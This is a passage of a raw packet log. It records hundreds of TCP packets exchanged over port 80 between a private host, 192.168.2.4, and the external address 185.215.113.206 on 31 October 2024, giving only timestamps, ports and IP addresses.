Oct 31, 2024 17:26:32.476875067 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.476882935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.476902962 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.476917028 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.477472067 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477484941 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477494955 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477508068 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477519989 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477521896 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.477531910 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477544069 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477547884 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.477555037 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477560997 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.477567911 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477580070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477590084 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477590084 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.477602005 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477616072 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.477621078 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477631092 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.477632999 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.477658033 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.477683067 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478131056 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478142977 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478152990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478166103 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478178024 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478178024 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478193998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478204966 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478204966 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478218079 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478218079 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478230000 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478250980 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478266001 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478271008 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478281975 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478291988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478308916 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478311062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478323936 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478332043 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478336096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478348970 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478363037 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478372097 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478374004 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478385925 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478400946 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478426933 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478730917 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478748083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478759050 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478770971 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478771925 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478790998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478796005 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478801012 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478811979 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478816986 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478825092 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478836060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478843927 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478847980 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478859901 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478863955 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478872061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478883028 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478894949 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478898048 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478898048 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478905916 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478919029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.478921890 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.478952885 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.479480982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479502916 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479516029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479520082 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.479527950 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479540110 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479542017 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.479552031 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479554892 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.479562998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479574919 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479577065 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.479587078 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479598045 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479603052 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.479609966 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479621887 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479623079 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.479633093 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.479634047 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479645967 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479656935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479660988 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.479669094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479680061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479686022 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.479691029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479703903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.479707956 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.479721069 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.479748011 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.480516911 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480535030 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480545998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480556965 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480566978 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480566978 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.480578899 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480590105 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480595112 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.480601072 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480611086 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480621099 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480622053 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.480633974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480642080 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.480644941 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480654955 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.480658054 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480669975 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480679989 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480683088 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.480691910 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480704069 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480710030 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.480715990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480727911 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.480735064 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.480747938 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.480767012 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.481302977 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.481314898 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.481324911 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.481337070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.481348038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.481348038 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.481360912 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.481362104 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.481373072 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.481384039 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.481384993 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.481396914 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.481408119 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.481408119 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.481419086 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.481456041 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.518310070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.518323898 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.518341064 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.518352985 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.518363953 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.518366098 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.518378019 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.518389940 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.518404007 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.518426895 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.520446062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.520469904 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.520481110 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.520498037 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.520529032 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.520544052 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.520581007 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.520591974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.520601988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.520626068 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.520643950 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.562006950 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.562026024 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.562113047 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592191935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592223883 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592236996 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592384100 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592396975 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592401028 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592401028 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592411995 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592431068 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592468023 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592503071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592516899 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592531919 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592549086 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592566967 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592575073 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592619896 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592660904 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592674971 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592685938 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592698097 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592705011 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592711926 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592722893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592726946 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592749119 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592749119 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592768908 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592837095 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592875957 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592926979 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592940092 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.592963934 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.592979908 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593017101 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593029022 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593046904 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593065977 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593070984 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593070984 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593080044 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593086958 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593111038 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593126059 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593199968 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593235970 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593346119 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593358994 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593369007 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593381882 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593385935 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593394995 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593405962 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593409061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593425035 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593434095 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593450069 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593478918 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593631983 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593645096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593655109 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593667984 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593674898 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593689919 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593718052 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593758106 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593770027 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593799114 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593815088 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593885899 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593899965 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593909025 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593923092 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593928099 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593935966 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593940020 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593950033 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593961000 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.593962908 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593976021 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.593991041 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.594010115 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.594036102 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.594208002 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594218969 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594254017 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.594368935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594382048 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594393015 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594405890 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594419003 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594420910 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.594420910 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.594434023 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594441891 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.594445944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594459057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594471931 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594472885 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.594484091 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594491005 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.594506025 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.594535112 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.594789982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594800949 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594830036 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.594846964 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.594953060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594965935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594978094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594990015 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.594994068 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595004082 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595015049 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595015049 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595027924 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595040083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595042944 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595052004 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595057964 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595069885 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595082998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595092058 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595098019 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595112085 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595123053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595123053 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595138073 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595169067 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595439911 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595452070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595484972 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595510006 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595520973 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595552921 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595573902 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595587015 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595597982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595614910 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595616102 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595642090 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595666885 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595799923 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595813990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595824957 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595837116 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595848083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595848083 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595870972 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595890999 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.595957994 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.595968962 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.596018076 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.596019030 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.596033096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.596061945 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.596086025 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:32.596106052 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.596120119 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:32.596147060 CET	62829	80	192.168.2.4	185.215.113.206
